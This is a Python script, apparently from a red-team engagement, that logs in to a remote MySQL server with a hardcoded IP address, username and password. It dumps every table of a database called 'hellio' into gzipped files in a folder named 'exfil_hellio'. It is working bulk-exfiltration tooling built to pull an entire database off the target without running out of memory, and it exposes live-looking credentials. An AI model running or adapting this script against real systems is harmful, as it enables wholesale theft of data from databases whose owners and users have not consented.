#!/usr/bin/env python3
"""hellio MySQL full dump v2 — streaming (engagement one-off).

Fix for OOM (v1 buffered whole tables in RAM -> OOM-killed at 31GB RSS on
failed_logs). v2: stream mysql stdout -> gzip via Popen pipe, never hold the
table in memory. Chunked by integer PK when present (resume-safe), single-shot
stream otherwise. snwolley NOT touched.
"""
import json, subprocess, gzip, hashlib, time, os
from pathlib import Path

ROOT = Path('/root/ir-assessment/redteam/gitlab_npontutechnologies_com')
OUT = ROOT / 'exfil_hellio'
LOG = ROOT / 'exfil_hellio.log'
MY = ('144.76.195.8','3117','kafkauser','helliobk#123X')
CHUNK = 500000

def mysql_sql(sql, timeout=120):
    r = subprocess.run(['mysql','-h',MY[0],'-P',MY[1],'-u',MY[2],f'-p{MY[3]}','--quick','-N','-e',sql],
                       capture_output=True, timeout=timeout, env={'PATH':'/usr/bin:/bin'})
    return r.stdout.decode('utf-8','replace').strip()

def stream_save(name, sql):
    """Stream mysql -> gzip file. Returns (bytes, ok). Checkpoint via .done."""
    OUT.mkdir(parents=True, exist_ok=True)
    p = OUT / f'{name}.csv.gz'
    ck = OUT / f'.{name}.done'
    if ck.exists():
        return -1, True
    h = hashlib.sha256(); total = 0
    proc = subprocess.Popen(['mysql','-h',MY[0],'-P',MY[1],'-u',MY[2],f'-p{MY[3]}','--quick','-N','-e',sql],
                            stdout=subprocess.PIPE, stderr=subprocess.DEVNULL, env={'PATH':'/usr/bin:/bin'})
    tmp_path = str(p) + '.tmp'
    with open(tmp_path, 'wb') as raw_f:
        with gzip.GzipFile(fileobj=raw_f, mode='wb') as gz:
            while True:
                buf = proc.stdout.read(1 << 20)
                if not buf: break
                gz.write(buf); h.update(buf); total += len(buf)
    proc.wait()
    if proc.returncode != 0 or total == 0:
        try: os.remove(tmp_path)
        except OSError: pass
        return total, False
    os.replace(tmp_path, str(p))
    ck.write_text(h.hexdigest())
    return total, True

def int_pk(db, table):
    out = mysql_sql(f"SELECT COLUMN_NAME FROM information_schema.COLUMNS WHERE TABLE_SCHEMA='{db}' AND TABLE_NAME='{table}' AND COLUMN_KEY='PRI' AND DATA_TYPE IN ('int','bigint','mediumint','smallint') LIMIT 1;")
    return out if out else None

def dump_table(db, table):
    pk = int_pk(db, table)
    if pk:
        rng = mysql_sql(f"SELECT MIN({pk}), MAX({pk}) FROM {db}.{table};").split('\t')
        if len(rng) == 2 and rng[0].lstrip('-').isdigit():
            mn, mx = int(rng[0]), int(rng[1])
            start = mn
            while start <= mx:
                end = min(start + CHUNK - 1, mx)
                cname = f'{table}_{start}_{end}'
                sz, ok = stream_save(cname, f"SELECT * FROM {db}.{table} WHERE {pk} BETWEEN {start} AND {end};")
                if not ok:
                    print(f'  [FAIL] {table} {start}-{end}', flush=True)
                    LOG.open('a').write(f'FAIL {table} {start}-{end}\n')
                    return
                if sz >= 0:
                    print(f'  [ok] {table} {start}-{end}: {sz}b', flush=True)
                start = end + 1
            return
    # no int pk -> single stream
    sz, ok = stream_save(table, f"SELECT * FROM {db}.{table};")
    if ok and sz >= 0:
        print(f'  [1shot] {table}: {sz}b', flush=True)
    elif not ok:
        LOG.open('a').write(f'FAIL 1shot {table}\n')

def main():
    OUT.mkdir(exist_ok=True)
    LOG.open('a').write(f'=== hellio v2 dump {time.strftime("%Y-%m-%d %H:%M:%S UTC", time.gmtime())} ===\n')
    tables = [t for t in mysql_sql("SELECT table_name FROM information_schema.tables WHERE table_schema='hellio' AND table_type='BASE TABLE' ORDER BY table_name;").splitlines() if t.strip()]
    print(f'[*] hellio tables: {len(tables)}', flush=True)
    for t in tables:
        try:
            dump_table('hellio', t)
        except Exception as e:
            print(f'[EXC] {t}: {e}', flush=True); LOG.open('a').write(f'EXC {t}: {e}\n')
    print('[+] HELLIO DUMP COMPLETE')
    LOG.open('a').write('=== hellio v2 complete ===\n')

if __name__ == '__main__':
    main()